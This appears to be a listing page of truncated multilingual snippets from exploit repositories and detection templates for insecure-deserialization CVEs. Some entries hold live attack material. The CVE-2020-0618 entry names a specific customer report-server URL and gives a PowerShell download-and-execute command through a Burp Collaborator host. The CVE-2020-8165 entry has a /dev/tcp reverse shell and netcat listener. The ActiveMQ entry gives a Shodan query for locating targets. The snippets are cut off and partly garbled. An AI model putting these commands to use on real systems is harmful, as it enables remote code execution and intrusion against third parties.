CVE-2025-59287

В этом исследовании мы рассмотрим критическую уязвимость CVE-2025-59287, обнаруженную в среде Microsoft Windows Server Update Services WSUS. Эта уязвимость возникает из-за небезопасной десериализации объектов AuthorizationCookie, отправляемых на конечную точку GetCookie, где зашифрованные данные...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - lien vulnérable $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes ...

CVE-2025-27520

CVE-2025-27520 эксплойт для CVE-2025-27520. Уязвимость удалённого выполнения кода RCE, вызванная небезопасной десериализацией в последней версии v1.4.2 BentoML. Она позволяет любому неаутентифицированному пользователю выполнять произвольный код на сервере. Небезопасный фрагмент кода находится в...

CVE-2026-12191

CVE-2026-12191 Un exploit de preuve de concept pour CVE-2026-12191, une vulnérabilité de désérialisation non sécurisée dans modeld.py de Comma AI Openpilot, qui permet à un attaquant local à faibles privilèges d'exécuter du code arbitraire en fournissant une charge utile Python pickle malveillant...

ermir

Ermir Ermir est un registre RMI malveillant/espion, il exploite la désérialisation non sécurisée de tout code Java appelant les méthodes RMI standard sur celui-ci list/lookup/bind/rebind/unbind. Prérequis Ruby v3 ou plus récent. Installation Installez Ermir depuis rubygems.org : $ gem install erm...

CVE-2024-44902-env

CVE-2024-44902 - RCE через небезопасную десериализацию в ThinkPHP Уязвимое окружение для проверки nuclei-templates. Детали уязвимости Поле| Значение ---|--- Идентификатор CVE| CVE-2024-44902 Критичность| Критическая CVSS 9.8 Продукт| ThinkPHP Затронутые версии| 6.1.3 - 8.0.4 Тип| Небезопасная...

CVE-2022-48565-POC

CVE-2022-48565 PoC Introduction Ceci est une preuve de concept PoC démontrant la vulnérabilité CVE-2022-48565 , qui est basée sur la désérialisation non sécurisée de fichiers Plist en Python. En traitant des fichiers Property List Plist spécialement conçus, un attaquant peut exécuter du code...

CVE-2023-46604

CVE-2023-46604 Exploit pour CVE-2023-46604 Cet outil aide à exploiter cette vulnérabilité. Requête Shodan pour trouver la cible : product:"ActiveMQ" port:"61616" Utilisation de l'outil : for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target:...

CVE-2020-8165

CVE-2020-8165 Python Exploit Ce code permet d'exploiter CVE-2020-8165 avec Python3. Cet exploit fonctionne avec rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Crédits principaux Détails originaux de la CVE :...

react2shellVulnApp

Laboratoire d'application bancaire vulnérable React2Shell Application bancaire volontairement vulnérable pour CVE-2025-55182 React et CVE-2025-66478 Next.js afin d'apprendre, de détecter et d'exercer React2Shell en toute sécurité. Fonctionne avec React 19.0.0 et Next.js 15.0.3 non corrigés. Vue...

Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Exemples Évaluer une IP pour CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Évaluer un nom d'hôte pour CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Évaluer une plage réseau CIDR pour CVE-2019-18935 $ python3...

CVE-2024-1651-PoC

CVE-2024-1651 Cette CVE a été découverte par Carlos Bello de l'équipe Fluid Attack Offensive. La découverte aborde la désérialisation non sécurisée d'objets pour obtenir une exécution de code à distance RCE. Ici, j'ai créé un PoC Proof of Concept plus rapide et plus facile à utiliser. Ainsi, si...

CVE-2024-1651-PoC

CVE-2024-1651 Этот CVE был обнаружен Карлосом Белло из команды Fluid Attack Offensive. В нем рассматривается небезопасная десериализация объектов для получения RCE удаленного выполнения кода. Я создал более быстрый и простой в использовании PoC доказательство концепции. Таким образом, если кто-то...

secure-by-default-rce-demo

Atténuation des RCE Node.js : DevOps comme dernière ligne de défense Ce projet démontre une vulnérabilité critique d'exécution de code à distance RCE dans une application Next.js notamment via les Server Actions et comment le renforcement de l'infrastructure neutralise efficacement l'attaque même...

Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Примеры Проверить IP-адрес на CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Проверить имя хоста на CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Проверить диапазон сети CIDR на CVE-2019-18935 $ python3 telerikrcescan....

CVE-2025-53691

CVE-2025-53691 : Exécution de code à distance RCE via une désérialisation non sécurisée Le même mécanisme de réflexion dans le AjaxScriptManager peut être utilisé pour invoquer la méthode ProcessSerializedData. Cette méthode désérialise une charge utile fournie en utilisant le BinaryFormatter non...

Cacti < 1.2.25 Insecure Deserialization

Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24. id: CVE-2023-30534 info: name: Cacti 1.2.25 Insecure Deserialization author: k0pak4 severity: medium description: | Cacti is an open source...

GiveWP <= 4.16.7.1 - Remote Code Execution

GiveWP = 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input id: CVE-2026-82222 info: name: GiveWP = 4.16.7.1 - Remote Code Execution author: 0xAkoko,pdteam...

Apache Dubbo 2.5.x-2.7.4 - Insecure Deserialization

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This issue affected Apache Dubbo 2.7.0 to 2.7.4,...

sharepoint-toolshell-cve-2025-53770

Exploit RCE « ToolShell » pour SharePoint CVE-2025-53770 Vue d'ensemble CVE-2025-53770 est une vulnérabilité critique d'exécution de code à distance RCE affectant Microsoft SharePoint Server 2016, 2019 et l'édition Subscription sur site uniquement, pas SharePoint Online. Les attaquants peuvent...